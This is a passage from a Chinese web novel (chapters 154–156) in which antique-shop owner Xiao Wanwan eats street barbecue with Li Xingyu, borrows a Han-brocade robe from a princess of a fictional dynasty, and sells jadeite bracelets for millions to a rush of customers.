只要一想到黎行聿在宴会上带着她刷脸社交,帮了她许多，而她却请人吃路边摊,对比之下，歉疚与懊恼的情绪一下子冲上头。 黎行聿环顾周围同样一脸茫然的游客,又看向萧妧妧涨红的脸，“以前从来不知道吃路边摊是什么感觉,今天体验到了，挺有意思的经历。” 听起来是宽慰,但在萧妧妧耳里,怎么听怎么像是阴阳。 “下次请你吃老板不会跑路的大餐！”萧妧妧举着烤串发誓。 黎行聿被她信誓旦旦的样子逗笑,指了指巷子口的方向：“我对大餐没兴趣,下次请我吃那家排队的烤肉怎么样？有点好奇你从小吃到大还念念不忘的是什么味道。” 萧妧妧挺起胸膛,夸下海口：“大餐要吃，烤肉也要吃，你放心，保证你吃香的喝辣的。” 瓷白俏脸紧绷,神情严肃正经，黎行聿忍俊不禁。 尽管他极力克制,萧妧妧还是捕捉到了他眼底的笑意。 她歪了歪头,想不通刚才说的话哪里有问题,嘟囔一句“有什么好笑的”，不满语气大声道：“你等着瞧吧。” 黎行聿：“好，我等着跟你吃香喝辣。” 萧妧妧勉强满意，转而看向手里散发油脂焦香的烤串，黎行聿跟着把目光落在烤串上。 两人对视一眼，默契决定把烤串带回家。 但…… 萧妧妧望着油亮亮的手心，一脸为难。 黎行聿这时把一整包烤串塞给她，在她没回过神的时候，俯身。 他一手拎起高跟鞋，一手提起裙摆一角，确保裙摆不会碰地，也不会提得太高让她不适。 萧妧妧被他突然的举动吓了一跳，惊讶地阻止他。 黎行聿躲开她的阻止，展示自己的双手：“放心，我的手很干净。” 萧妧妧欲言又止，不是干净不干净的问题，感觉怪怪的。 黎行聿动作自然，好像没有意识到哪里不妥，甚至催促：“我们从哪条巷子回去？” 萧妧妧一时间想不到更好解决办法，连声道谢，走在前面带路。 写做月牙巷，读做月牙城，跟着萧妧妧一路七拐八绕，黎行聿终于对他所居住的街区到底有多大有了一点概念。 萧妧妧：“别看叫巷子，其实一点不小，我小时候这里改名叫月牙古城，后来和南市另一个古城撞名了才改回来的。 你看那条巷子，可以通到随园，就是佳博。 月牙巷附近几条路经常管控，一到周末节假日，车子根本开不进来，我听说很多佳博员工为了方便，就在这附近住。” 萧妧妧想到什么，扭头问：“你和你弟弟不会就是为了方便上班才搬来月牙巷的吧？” 黎行聿点头承认：“省得他找借口旷工。” 萧妧妧直言：“你弟弟看起来是那种即便没有借口用，也照样会旷工的人。” 黎行聿头疼不已：“又被你说对了。” 两人一边闲聊一边在宽敞街巷中穿行，萧妧妧没想到会在这个点碰到熟人。 刚下班的许年华恰好从她指过的那条巷子里走出来，旁边是他的助理们。 萧妧妧眼睛一亮，挥着烤串向他招手。 “许叔。” 她刚好想问问许年华的意见，看看春带彩的屏风够不够撑起一场专拍，当主角。 许年华听到熟悉声音，下意识扭头四顾，猛然间看见盛装打扮的萧妧妧差点没认出来。 他辨别了一会，扬起笑容，抬手打招呼，冷不丁注意到旁边的黎行聿，瞳孔骤缩，彻底僵住。 萧妧妧见他半天没回应，疑惑地挥了挥手：“我在这里啊，许叔。” 许年华回过神来，仔细看一眼，确实是黎总，他没认错。 两人并肩而立，看打扮十分正式，刚从哪个奢华宴会出来似的。 与在公司里见到的那个不怒自威、气场强大的大老板形象截然不同的是，此刻的黎行聿一手提着裙摆，一手拎着高跟鞋，看起来略显狼狈不堪。 许年华懵了，想不通怎么会在这里碰见两个看起来毫无关联的人。 他胳膊一扭，从打招呼硬生生转变成挠头的动作，错开视线，继续环顾周围，然后若无其事地调转方向，话音急促不带一丝停顿： “加班加出幻觉了走吧大家赶紧回家明天还要出差呢。” 萧妧妧快步走过去，想告诉他不是幻觉，才迈开步，许年华却像被鬼追似的，两腿倒腾得飞快，呲溜一下消失在人流中。 同行的助理们不知所以然，望了望招手的萧妧妧，又看向早已没影的许年华。 这不就在眼前嘛，许老师怎么睁着眼睛说瞎话呢。 萧妧妧拧眉，这分明是落荒而逃啊，黎行聿收回视线，垂眸看她。 “许叔是谁？看起来有点眼熟。” 萧妧妧不假思索：“不眼熟才奇怪，他是佳博策划部的经理，我送拍的东西都是许叔在负责征集。” 顿了顿，萧妧妧恍然意识到许年华为什么这副见鬼反应了。 下班时间碰见老板，对打工人而言何等晦气，跑快点应该的。 “那什么，一定是许叔加班加糊涂了，没看到我。他工作还是一如既往地拼命啊，难怪佳博的秋拍办得有声有色。”萧妧妧为许年华挽尊，顺带说了几句好话。 不给黎行聿深想的机会，她赶紧换话题：“去你家吃可以吗？让我妈看到我大半夜拎着烤串回去，我又得被念叨了。” 黎行聿果然没提许年华，“好啊，上回的电影只看到一半，今天把剩下的看完？” 萧妧妧欢快回应：“好啊好啊，卡在一半太难受了，想看下去又找不到合适的时机。” 她又问：“你不会背着我把电影看完了吧？” “没有，一个人看没意思，等你一起呢。” 萧妧妧高兴了，加快脚步。 深夜回到家的黎行墨见影音房闪烁着光，推门一看，再次破防。 满桌烤串，房间里一股肉香，屏幕上的动画片已经播放到尾声。 黎行墨“砰”一下甩上门，翻了个白眼。 “呵，双标。” 萧妧妧听到声音，回头什么也没看见，不由忐忑：“会不会是你爸妈回来了？” 萧妧妧这时候总算记起他爸妈的存在，一骨碌爬起。 黎行聿：“你怕他们？” “不怕才怪，你爸妈盯了我一晚上。” 提起这事，黎行聿欲言又止，思索片刻决定先按捺住，免得空欢喜一场。 “今天谢谢你啦，我得赶紧回去。”萧妧妧急急忙忙擦手，提起裙摆准备离开。 宴会结束得挺早，两人买到烤串的时候九点出头，没想到这一折腾，时间已经来到十一点多。 黎行聿看着她啪嗒啪嗒溜进自家大门，一路上做贼似的鬼鬼祟祟，忍不住笑出声。 黎行墨端着茶杯路过，语气幽幽：“恋爱脑。” 黎行聿回怼：“不及你。” 萧妧妧偷偷摸摸回到家，踢了鞋子才发现高跟鞋落在对面了。 掏出手机给黎行聿发了条信息，她抓紧时间洗漱睡觉。 第二天天不亮，萧妧妧早早赶去小卖部。 店铺正门的围挡要在营业前拆掉，订做的店铺牌匾要及时挂上，七夕节的优惠活动通知要贴出去，还有一些配合节日的气球装扮。 萧妧妧一到店里忙个不停，好在有孟甜甜帮忙，紧赶慢赶，九点正式营业的时候小卖部看起来像模像样。 直到看见隔壁刘叔穿着一套囚服，被景区商户管理员揪住一顿批评，萧妧妧偷笑了一阵，想起来自己也要换一套打扮。 “188号的，你赶紧把衣服换上，这一条街就你们两家不合格。” 萧妧妧缩缩脑袋，唉了一声躲回店里。 翻遍购物平台的订单，她终于发现自己忘记买衣服这回事，现买来不及，萧妧妧干脆找柳如烟借了一套。 “随便什么宫女太监的衣服都成，借我穿一天。” “借什么借，送你了。” 柳如烟别的不好说，衣裳最多，每季有八套，还有皇兄和母后时不时送来别国上供的布料，许多衣服甚至穿不了几次，又有新衣服送来。 她用目光丈量了萧妧妧身高体型，扭身回去找衣裳。 等待的工夫，萧妧妧给店里做了一次大清扫，然后忙着录春带彩的视频，发给许年华品鉴- 许叔，生不生？够不够挑起一场专拍？ 许年华没少吐槽古董征集的难处，不是各个拍卖行来回打转的熟货，就是刚成交的藏品短期内再次送拍，能入眼的生货越来越少。 萧妧妧敢打包票，她这批货绝对生得不能再生了。 柳如烟比许年华的消息更先到，拎着大包小包回到店里。 小包丢给萧妧妧，道：“你身形高挑，我的常服你穿不上，试试这件。” 萧妧妧放下手机，扒开包袱，抖落出一件……直裰。 “你当我没读过书吗，这是男装吧？” 柳如烟眼珠子乱瞟，狡辩：“是你说太监衣裳也可以的。” 萧妧妧：“少来，这布料，皇帝身边的大太监都穿不起，而且，直裰一般是文人士人的常服，可不是太监服饰。” 柳如烟瘪瘪嘴，不情不愿地承认：“好吧好吧，这是我命宫人为陈松裁得衣裳，你爱穿不穿。” 一听是为陈松做的衣裳，萧妧妧这才认真端详手里的直裰。 色彩鲜艳又丰富，纹样精美繁复，质地稍显厚重。不敢想象这是生产技术不发达的古代能产出的布料。 “太厚实了，我穿上它要热死。” 柳如烟：“我那里可是冬天，让人翻夏季衣裳多奇怪啊，转头衣裳就不见了，那不是更奇怪？” 柳如烟找来找去，为陈松做的直裰最合适，消失了也无碍，宫女们只当她不喜陈松，连没送出去的衣裳也遭了迁怒。 萧妧妧一想也是，反正这衣裳质量没得说，空调温度调低一点便是。 她摸了摸上面对鸟提花纹，越看越喜欢，问：“这是锦还是缎？可真漂亮。” 柳如烟打开另一个包袱，随口道：“锦，汉锦。” 萧妧妧咦了一声，重复念叨汉锦两字，总觉得耳熟，好像在哪听说过，细想一时又想不起来。 “有什么好想的，左右不过一件衣裳，穿吧，你要喜欢，我送给你。” 萧妧妧耸了耸肩，解了衣带往身上套。 【作者有话说】 感谢读者“哈哈哈哈哈”,灌溉营养液 +1 感谢读者“eximious~chyx”,灌溉营养液 +1 感谢读者“珑柚”,灌溉营养液 +1 感谢读者“沐酒”,灌溉营养液 +2 感谢读者“大大很帅”,灌溉营养液 +1 155 第155章 ◎排队买翡翠◎ 萧妧妧拽拽袖子,整整衣角，松绿色汉锦玉带束在腰间紧了又紧…… 然后，她站在镜子前转了一圈又一圈，最后,垮下肩膀长叹一口气。 “哪里合适啊,你看,拖地了,腰带根本系不紧，一圈挂不住,两圈扣不上，白折腾。” 萧妧妧身形高挑没错,但并不壮硕，主黄秋香色对鸟纹的直裰穿在她身上,颇有几分滑稽。 尤其直裰的腰围宽大，能塞下两个她,腰带一束紧,直裰堆叠在一起,毫无美感不说,配套的主绿秋香色香包挂上去特别突兀。 萧妧妧一直自信自己的身材,不说衣架子，绝大多数风格的衣裳都能消化，看到镜子中偷感十足的自己，哭笑不得,飞快脱下来。 柳如烟犯难：“可我找不到其他衣裳了。” 衣服有专门的宫人保管，她找不到机会拿出来。 萧妧妧破罐子破摔：“大不了今天躲在后院不出去,她们还能扒我衣裳不成。” 以往有景区统一安排服装发下来,今年财政吃紧,让商户自己准备，于是许多人不乐意花那个钱。 萧妧妧料想肯定不止自己一个阳奉阴违的人，打定主意躲在古董铺不去前面露脸，直裰折叠整齐重新包起来还给柳如烟。 柳如烟身子一扭，躲开，“不要，送你了。” 萧妧妧看她嫌弃眼神，了然，哼哼道：“你最好是打算送我，而不是把我当垃圾桶。” 嫌弃的不是衣裳也不是萧妧妧，柳如烟嫌弃曾经放下公主架子当陈松舔狗的自己。 柳如烟杏眼微眯，嗓音甜腻得发齁：“萧老板怎么可以说自己是垃圾桶，我最喜欢萧老板了。” 萧妧妧搓着胳膊上的鸡皮疙瘩把她推出店铺：“玩你平板去。” 柳如烟蹦跶着去院子里追剧，萧妧妧坐下剪视频，让春带彩屏风放出去露露脸。 她现在有40万粉丝了，随便发一条视频最少5000赞，偶尔有高质量视频或者高品质的翡翠古董，点赞过万不在话下。 萧妧妧想着把屏风送拍，办专拍的时候再宣传展览肯定来不及，不如自己先宣传宣传。 视频发出去，乖巧等赞，萧妧妧想看看大家哇哇叫没见过世面的样子，才等了一会，188号院门被人敲响。 萧妧妧看了下日历，今天没有重要客人预约，应该是来凑热闹的网友。 她拉开门，笑脸相迎，刚要开口请客人进来随便看，眼前突然怼上来一台手机。 萧妧妧退了半步才看清，手机屏幕亮着，上面显示一张截图。 “这里是不破斋吧？这只天空蓝卖出去了吗？” 萧妧妧嚯了一声，这是来生意了？ “请进，天空蓝有十只，你要图片上的那只还是都看看呢？” 萧妧妧带着人进门，桌上铺了绒布，从展示柜里抽出一托盘，十只天空蓝排排摆放在客人眼前。 三十多岁的男人打扮普通，但拿翡翠的手势能看出来是行家。 他看一眼图片，很快挑出同款，放在阳光下端详。 “真漂亮，见光不失色，还起刚。” 萧妧妧：“这只圈口小，价格会比大圈口的便宜点。” 男人摇摇头：“没关系，我女朋友手腕比较细，带胖圆条压不住，这只刚好。” 萧妧妧心里一喜，怎么听起来要定了似的。 男人这时放下天空蓝，目光掠过其他几只大圈口手镯，挑出柜台里的一只绿幽灵。 “这只是高冰了吧？有小圈口的吗？” 萧妧妧想了想，应该是有的，于是到处翻找。 “老板，300万的那只春带彩在哪里？我想看看再决定买不买。” 萧妧妧正忙着，头也没抬地回：“有，在展示柜里，稍等我一会。” 话音落下没一会，萧妧妧恰好找到一只52圈口的绿幽灵，等她举着手镯钻出来，这才发现店里多了一个人，要□□带彩的是新顾客。 萧妧妧愣了愣，把绿幽灵递给第一位客人，扭身去柜台找出一只春带彩。 “等等，不是这只，是那种紫色有点多的那种，你们店前几天发的一款。” 担心萧妧妧找不到他想要的款式，新顾客特意翻出视频软件，连着划了十几条视频。 萧妧妧踮脚一看，又一个看中了她发的视频同款的客户。 “春带彩是吧，都在这里了，随便看。”萧妧妧忙抽出另一个托盘推到客人面前。 “老板，这只天空蓝多少钱？绿幽灵一起买的话，能不能便宜点？” 萧妧妧咋舌，第一个顾客进店总共不超过十分钟吧，这么干脆？ “要不您再看看？” 一手天空蓝一手绿幽灵的男人笑笑：“您放心，我来之前就看过不破斋的视频了，一眼看中它，这次来是想看看实物，肉眼看和视频里表现一致，没什么好犹豫的。” 萧妧妧见他主意已定，先用系统估了价，再加35%，两只合出总价，在计算器上按出数字，推给他看。 男人扫了一眼，琢磨一下，痛快道：“行，1000万我刷卡，剩下202万我用阿里呸，老板你帮我包起来吧。” 萧妧妧又嚯了一声，多看一眼打扮普通的男青年。 这得多有钱啊，竟然不还价。 要不是有系统估价在，她肯定会怀疑自己是不是开价太便宜。 “确实便宜，这只春带彩在外面少说能抬到500万去，有没有人买不说，开价是真敢这么开。”第二个进店的顾客啧啧出声。 “可不，瞎开价，宰一个是一个。”等萧妧妧打包的工夫，另一个客人忍不住搭话：“我看视频上面写的价格以为是骗人的，特意从外地赶过来。” “巧了，我也这么想，大不了白跑一趟。 还不错，这价格没得挑，而且货是真好，我昨天刚从玉器街出来，那边的高货看多了就那样，种水根本比不上这几只。 有差不多的，价格又太离谱，不划算，至少要压在手里十年八年才能不赔本。” 萧妧妧看两人闲聊起来，趁机插入话题：“不破斋主要做古董生意，卖翡翠是顺带，我个人爱好，你们要是觉得价格还算公道，帮忙多宣传宣传，新店开业，图个热闹。” “这只春带彩是360万吧？我要了。”后进店的客人放下镯子，掏出手机付款，调侃道：“可用不着我们宣传，再宣传啊，以后您这店，得要摇号买翡翠了。” 萧妧妧愣住，不解问道：“摇号？什么意思？” “你还不知道呢？” “我该知道什么？” 萧妧妧越发茫然，票据塞进包装袋递给客人，赶忙掏出手机上网找消息。 “之前不是有个玉哥曝光的事吗？后来闹大了，好多营销号发，有几个网友说你家翡翠价格公道。 懂行的是少数，大多网友不懂翡翠啊，就把视频发给身边朋友，又把现场拍到的价格发出来找人看，我们玩翡翠的几个群里好多人知道这事。 我离得近，今天算是打头阵，要是能买到东西，老板你就踏实等着吧，光我那个翡翠交友群，好几个等消息过来买货的呢。” 萧妧妧惊讶不已，玩笑道：“反向带货？那我得谢谢玉哥了。” 嘴里说要谢谢他，心里却骂了一句王八蛋，什么反向带货，分明是无妄之灾。 顾客的戏言她没放在心里，真要到摇号排队买翡翠的程度，她不得赚疯了？ 大几百万的货，怎么可能。 萧妧妧没在网上搜到新消息，便没当回事，继续忙手里的打包工作。 “这么说也没问题，反正我是因为自己玩翡翠，一起打游戏的朋友找我看几张图估价来着。我当时不知道这事，我那个朋友发了标价牌过来的时候差点以为看错了，特意要了账号去看的视频，说起来算我运气好。” 青年一边说着，一边检查手中票据，确认无误后，满意地收起。 喜欢翡翠的人并不在少数，有闲钱玩翡翠的更是大有人在，然而，大家之所以对购买翡翠持谨慎态度，很*大程度上是因为害怕遇到无良奸商。 成本20万敢开价200万，虽然举例夸张了点，但现实中并不缺乏现成的例子。 中低端货利润率不超过50%就敢声称赔本，卖到60%的利润都算商家善良，70%甚至更高是电商兴起后的行业普遍现状，而到高端零售市场，120%都算寻常。 如果是旅游景区内的商铺，毛利率到400%也不意外。 长此以往，即便大家再喜欢翡翠也不敢轻易下手。 毕竟，不是每个人都具备辨别翡翠真伪和品质的眼力。 没人想花个几万几十万买回去的东西，转手想卖出去的时候发现连一万都不值，再有钱也经不起这么造的。 萧妧妧敢自信的说，哪怕她把店里在售的翡翠利润抬到50%，依然会被大家称赞一句良心。 已经估价标价鉴定过的几件没希望了，刚送检等着上新的下一批可以试试加点价。 不然这些货可说不准是流进客人手里，还是流入同行的腰包，转手卖出更高价。 看着360万显示到账成功，萧妧妧犹豫要不要给剩下几件没在视频平台曝光过的翡翠手镯涨涨价，大门又一次被敲响。 “有人吗？不破斋是这里吗？” 萧妧妧只得放下手里的活，探出头：“欢迎光临，几位买古董还是翡翠？” 四个年轻女孩听到应声，关掉手机导航，一边打量小院，一边迈步进店。 “我们想买翡翠，手镯挂件都行，预算600万以内。” 萧妧妧领着人进屋，问了她们喜好，取来几只冰飘花和晴水绿。 “不喜欢我再给你们换，阳绿果绿辣绿什么颜色都有。” 萧妧妧现在有点恍惚，客人一波接一波，看起来全是下定决心要买翡翠的，搞得她有点不适应。 四人凑在一起叽叽喳喳，挑挑拣拣，闹着凑姐妹同款，听她们清脆欢快的讨论，萧妧妧心情都明媚了。 “老板，那只660万的春带彩卖出去了吗？” 这时，院子里又进来一位新顾客，年纪在四十来岁左右。 萧妧妧：“不巧，昨天刚卖出去，要不您看看别的？预算够的话，这只800万的春带彩很不错，搁在外面要上千万了。” “800万啊？那我看看吧。” 打扮质朴的中年女人遗憾叹气，好在她没有转头就走，还愿意进店挑选。 “老板，这种晴水绿有小圈口的吗？我们四个手腕不粗，戴着不好看。” 萧妧妧刚招呼完新客人，四个小姑娘马上提出要求。 她转身去漆器首饰盒里挑出几个小圈口手镯，“试试看52的行不行，再小就没有了。” 戴得起翡翠镯子的女眷基本是有钱人家的夫人小姐，自然是珠圆玉润，手镯圈口够大才能戴得久、戴出气势，所以申明月他们送来的镯子多是大圈口宽圆条，小圈口有，数量不多。 素面的，雕花的，各有各的美，虽然工艺老了些，种水没得挑。 几人来回交换对比后，各自挑选了合眼缘的款式，你推我我推你，选出一个嘴皮子利索的出来问价。 萧妧妧指着镯子依次报价：“450、560、340、500，你们买的多，我额外送你们一人一个绿松石手串。” 听到报价，小姑娘彼此对视一眼，面露迟疑。 萧妧妧让出空间：“没关系，你们考虑考虑。” 等萧妧妧转过身，几个年轻女孩马不停蹄掏手机拍照，又敲打出一行字发出去。 萧妧妧全当看不见，把她们试戴过的几只却没选上的手镯塞回首饰盒。 “等等，这只粉紫的给我看看可以吗？” 中年女人拿着春带彩好一通端详，又试戴拍了照，神色越发满意，她刚准备开口定下这只，就看到萧妧妧手里还有一堆。 萧妧妧皮肤白皙，戴什么颜色都不挑，玻璃种粉紫色紫罗兰大圈口手镯在她手心里更显貌美，中年女人晃了一眼，根本挪不开视线。 清晰无棉起荧光，颜色是偏紫一点的粉紫，均匀融洽。 “这只？这个680万，圈口58的。”萧妧妧放在台面上，推给中年女人。 “和春带彩一起买的话，能打折吗？”中年女人举起紫罗兰对着阳光看了一会，当即决定收入囊中，“或者像她们一样，送个东西。” 萧妧妧意外了一瞬：“我家的翡翠利润不高，打折恐怕做不到，送您一个碧玺手串吧？这串在外面卖少说5、6万呢。” 中年女人听到不打折，并不见多失望，兴致勃勃挑选起碧玺手串。 萧妧妧在计算器上按出一串数字推过去：“请问怎么支付？” 中年女人对比一下，挑出一串粉碧玺，交给萧妧妧一起打包起来。 “刷卡吧。”瞄一眼价格，女人什么也没说，低头翻找钱包。 萧妧妧默了默，这世界上还是有钱人多，1480万买两只手镯，付钱时眼睛不带眨的。 “老板，这四个手中我们都要了，但是我们不喜欢绿松石，可以换一个吗？” 萧妧妧还没把中年女人的手镯打包好，几个年轻女孩忐忑询问。 她指了指柜台一角：“那边的手串你们随便挑。” 谁能想到，几千上万的手串无人问津，反倒是上百万的翡翠手镯一只接一只卖出去。 女孩们高高兴兴去挑手串，中年女人笑着感叹：“老板，您店里生意真好啊。” 萧妧妧无奈摇头：“不知道怎么了，这几天客人就没断过，大家也不问价，选中了直接带走。” 看似抱怨，实则炫耀，萧妧妧就差直白喊口号“买不了吃亏买不了上当”。 中年女人结果包装袋：“别人我不知道，我是听朋友说你这里价格实在，这才跑来看看的，可惜还是慢了一步，那只让人买走了，不过这个更好就是了，喜不喜欢先不说，反正买回去稳赚不亏，过两年出手能赚不少呢。” 有人炒房有人炒股，萧妧妧做了古董生意才发现，炒古董炒翡翠的只多不少。 送中年女人出了店铺，几个年轻女孩刚好选到了心仪的手串，排队付钱。 萧妧妧又忙着打包她们选中的八件手镯手串。 一上午不到，客人接连进店，消费了4892万，账户余额一共有2.7亿。 萧妧妧抱着手机嘶嘶吸气，一副不可置信的样子。 “老板，听说你店里有帝王绿手串，能看看是什么样吗？” 冷气吸到一半，店里又来了新客人，浑厚烟嗓听起来有一把年纪。 摇号买翡翠不可能，但排队买翡翠看起来快要成真了。 萧妧妧顾不上惊讶，赶紧回神，捡出三串帝王绿手串准备招待客人。 只是东西摆好了，却没见客人影子。 萧妧妧抬头，五六十岁大肚便便的男客人驻足在门口，双手负背，微微俯身，紧盯架子上挂着的几只荷包香包。 “先生，您要买荷包？” 男人摇摇头，指了指其中一只：“没有，我就看看，你这个荷包是仿汉锦的吧？仿得真像，要是真的那可值钱了。” 萧妧妧再次听到汉锦两字，倏然警醒。 顺着男人视线望去，萧妧妧目光落在架子底部。 那里是她随手挂过去的主绿秋香色汉锦香包。 【作者有话说】 感谢读者“沐酒”,灌溉营养液 +1 感谢读者“陆沉脑婆”,灌溉营养液 +20 156 第156章 ◎账户余额急速增加◎ 是真汉锦还是仿汉锦,萧妧妧再清楚不过。 但她不敢应承，满心纳闷，怎么柳如烟送来的东西也能和文物撞车？ 一个虚构的封建王朝，三次元不可考的存在,不该是仿古艺术品吗？ 那要这么说的话,龙傲天送来的瓷器她一律按官窑算得了。 “仿得真不错,是不是咱们南市织造博物馆出来的文创？ 我记得这么一小块要大几百吧？但是这个纹样和颜色的我没什么印象,私人订做的吗？” 萧妧妧接不上话，她对汉锦一无所知,哪敢乱说，问顾客只会显得古董铺老板没文化,影响她的专业性。 “朋友送的礼物，挂着好看,先生想看哪种手串？有8mm玻璃种的，有13mm高冰的。”她岔开话题。 大肚子男人充耳不闻,上手摸了摸香包,凑得更近些。 “新得很,要是能做旧就更像了,太新反而假。 不过仿到这个程度算很不错的,跟博物馆里的差不多。” 说完，男人自己忍不住笑了，真是糊涂了，如果是汉锦,哪怕只有这么小一个，那也算是稀罕东西。 汉锦存世稀少,从稀缺性来说,价格便可值百万。 拍卖行前几年出现过一块2㎡不到的汉锦残片,卖出500万天价，更不必说保存完好的成品。 就算有，也不可能出现在这样一家新开的古董铺，还随便挂在门口风吹日晒。 “对了，帝王绿呢？找出来我看看，你那个视频拍得不清楚，下次换个设备。”男人直起身，晃悠悠进店，往板凳上一坐，开始挑剔。 萧妧妧应和：“手机随便拍拍，以为没人看呢，下次买专业设备回来拍。” 说着话，店里为数不多的几串帝王绿珠串全推到大肚男人面前。 “就这么几串啊？”男人扫了一圈，神情不满。 萧妧妧见他是真没看上，便道：“有手镯，雕花的大圈口，做工老，但是品质好。” 大肚男人哼哼两声：“行吧，凑合看，一起拿出来吧。” 萧妧妧背过身时忍不住龇牙咧嘴，手串和手镯都不便宜，价格低的1500万，高的5000万，这要是再卖出去一只，一天收入差点赶超一亿，做梦都不敢梦这么大的金额。 帝王绿手串3串，手镯3只，全部摆上去。 她手里还有更好品质的，估价过亿的那种，那些她打算自留，舍不得往外出，只挑了几个不高不低的摆出来卖。 即便在她眼里不高不低的货，在别人眼里已经算不可多得的珍品。 满眼帝王绿，大肚子男人看得目不转睛。 “是老了点，最近几十年都没流行过这么宽的条。 上面花纹也老气，年轻人都喜欢雕金元宝，招财。” 萧妧妧神情微囧，她还真没见过雕元宝纹的翡翠镯子。 “这几件您满意吗？” 男人头也不抬，抱着镯子一寸一寸端详，嘴里念念有词：“不错，这只宽条的能改出三四个葫芦呢。稀奇了，看着挺老的，种水表现特别好，又老又新。仿古吗？” 萧妧妧腹诽，可不就又老又新，直接从古代进货，垮一道门的时间。 “您手上这只4500万，有鉴定证书。” 萧妧妧默默祈祷，祈祷大肚子男人选中它，其他没证书没估价，估价次数又所剩无几，她心里没底。 “4500啊……还行。”男人习惯性要还价，再看手里的货，发现价格确实公道，想压价都不好意思开口：“丫头，你卖这么便宜，来路能保证吗？” 萧妧妧一愣，失笑：“来源清晰，传承有序，您需要的话，这只翡翠我能给您出流传记录和票据。” 大肚子男人摇摇头：“那也不行，现在造假厉害呢，流传记录作假的不少。” 萧妧妧哑然。 大肚子男人又看了许久，拿起其他几件仔细分辨。 萧妧妧看了看表，确实够谨慎，一只镯子琢磨了十来分钟。 “行，4500的这只包起来吧，我给你转账。” 挑剔半天，萧妧妧终于等来好消息，喜滋滋唉了一声，接过镯子去找首饰盒打包。 谁敢信啊，一上午卖出去9000多万！ 昨天看图录的时候她直犯愁，好几只官窑看起来都不错，适合捡漏，可惜自己钱不多，只能挑一两只精品。 一晚上过去，账户余额急速增加，留给秋拍的预算多出来几千万，少说能拿下3、4件拍品。 萧妧妧越想越美，脸颊笑得酸疼，揉了好一会，还是不长记性，嘴角不听话地上扬。 包装袋递过去，大肚子男人举起袋子对着不破斋的招牌拍了张照片。 萧妧妧：“您满意的话，帮忙发个朋友圈宣传宣传。” 希望摇号买翡翠的那一天早点到来！ “OK，包在我身上。” 大肚男人故作俏皮地比了个手势，浑厚嗓音语调轻松愉悦。 临出门的时候，他再次在门口驻足，专注地欣赏那只汉锦香包。 萧妧妧心有惴惴，盼着客人赶紧离开，店里没了人影，她飞快摘下香包一起塞进包袱里，再把包袱丢进柜台深处。 汉锦什么的，等她有空再看看是怎么一回事。 接连开单，客人们挑挑拣拣一番，首饰展示柜乱七八糟，萧妧妧趁着空闲重新整理一遍展示柜。 没有估过价的撤走，可以确定售价，或者系统统一估过价的那一批放在视觉中心。 这么一来，展示柜里的翡翠首饰数量锐减，但胜在价格清晰，不需要她临时估价。 8月仅剩最后两天，先把这两天熬过去，到了9月就好办了。 萧妧妧担心这么点东西无法吸引顾客，思索片刻，决定发一个新货上新预告。 撤下来的翡翠拍出一条图文集合发布出去，告知大家即将送检，加急检测中，证书和检测结果出来后，9月2日上新。 上新通知发出去，萧妧妧并不能闲下来，更多琐碎工作需要她安排。 顾不上刷评论区，萧妧妧丢下手机忙着给它们测重，拍照拍视频留证，填写委托单。 省级检测机构不远，史努比骑20分钟即可到达，萧妧妧找来孟甜甜帮忙守着店，自己跑去机构送检。 没办法，要安排送检的太多了，光是翡翠首饰足有40多件，包括何文挑中的那只白月光。 越早出证书越好，哪怕只有数字证书出来，利润率涨到60%她都站得住脚。 不止数量多，份量也不小，比如龙傲天送来的“高山流水”“佛光普照”，还有她打算一起送拍的黄加绿环环相扣，都急着出证书。 专拍级别比普拍高，为了不砸拍卖公司的招牌，拍卖行对藏品征集的门槛相应提高，鉴定证书是必备材料之一。 拍卖公司总归需要盈利的，佳博这样的大拍卖行更加注重成交率。 为了提高成交率抽取佣金，佳博在征集藏品这一关卡门槛设的很高，尤为关注藏品的品质。 网络拍卖不提了，几乎无门槛，一周一次，萧妧妧的银元就是在网络拍卖变现。 常规普通的拍卖平均1、2个月一次，要求比网拍只高不低，比如她的碧玉扳指那次送拍，就是8月的一场普拍。 至于其他专题拍卖、紧急拍卖、区域性小拍，没什么可细说的，季度大拍和艺术家专场相比之下规格更高一筹，筹备期长，宣传展览期也更长。 佳博这种一线拍卖行办专拍，别说普通收藏品，普通藏家都不一定能有机会摸着门路。 成交前不收取任何鉴定保管宣传费，看似没有要求，谁都能掺和一下，实际门道可不少，比需要提前交费的机构更难进。 许年华说得天花乱坠，差点让她以为办一场专拍多容易，这几天有黎行聿补课，她对拍卖行业了解得足够多才看明白怎么回事。 许年华一个做收藏品征集的，可不得忽悠人送东西上拍嘛，否则一个月大小七八场拍卖卖空气不成。 像翡翠珠宝这类没有鉴定证书的，藏品根本进不去专拍的门，许年华那关就可以直接打回来。 别看许年华天天嚷嚷什么不符合拍卖主题，其实全是应付藏家的场面话，根本原因是征集部看不上。 还是那句话，拍卖行注重成交率，普通的老物件旧东西没人要，自然是没资格上拍，必须是有价值的古董、艺术品、珠宝。 所谓的征集部审核，审核的是藏品是否符合当下市场风向，行情是否上涨，是否热门藏品，以及是不是受到多数藏家追捧，过了这一关才是鉴定。 这时再回想，萧妧妧便明白过来，那件没能挤进秋拍的古墨，本质是不达标，挪到了后面的常规普拍。 萧妧妧看明白了，并不气馁，摩拳擦掌打算惊艳众人。 驮着满满一箱翡翠，萧妧妧骑车的时候格外小心，不闯红灯不抢路，堪称龟速。 普通消费级别的如手镯等，做个基础鉴定足以，加急只需24小时，收费双倍。 送拍的翡翠摆件要做全套检测，即便加急也需要三个工作日，收费三倍。 再加上寄回的防震包装费、专业跑腿费用……杂七杂八，萧妧妧刷出去4万。 两手空空的回到小卖部，推着史努比进巷子的时候，手机叮咚一声。 萧妧妧抽空看了一眼手机，银行短信提示有一笔330万元的进账，狐狸眼愉快眯起。 “您慢走，下次再来啊。” 萧妧妧刚把车子推到门口，188号院门恰好打开，提着印有不破斋三个字包装袋的客人迈步出来。 门后是孟甜甜和柳如烟两张笑脸，比她更像一个古董铺的老板。 客人离开，柳如烟得意昂起脑袋，叉腰炫耀：“我们刚刚做成一笔生意！” 萧妧妧笑，推史努比进院子：“真厉害，多亏你们了，不然这笔生意肯定做不成，中午想吃什么？” 柳如烟被一通好话夸得飘飘然，乐不可支地找外卖菜单。 孟甜甜汇报工作一样说道：“卖出去一只半山水的冰飘花手镯，飘绿花的那只。” 萧妧妧回想一下，实在记不起来，东西太多了。 “记不起来就算了，我按着标价卖的，一分没让，不过送了一个蜜蜡手串。” 能看店能做生意，萧妧妧找不出一点问题，一感动上头，她又给孟甜甜在用的那张卡转去500万。 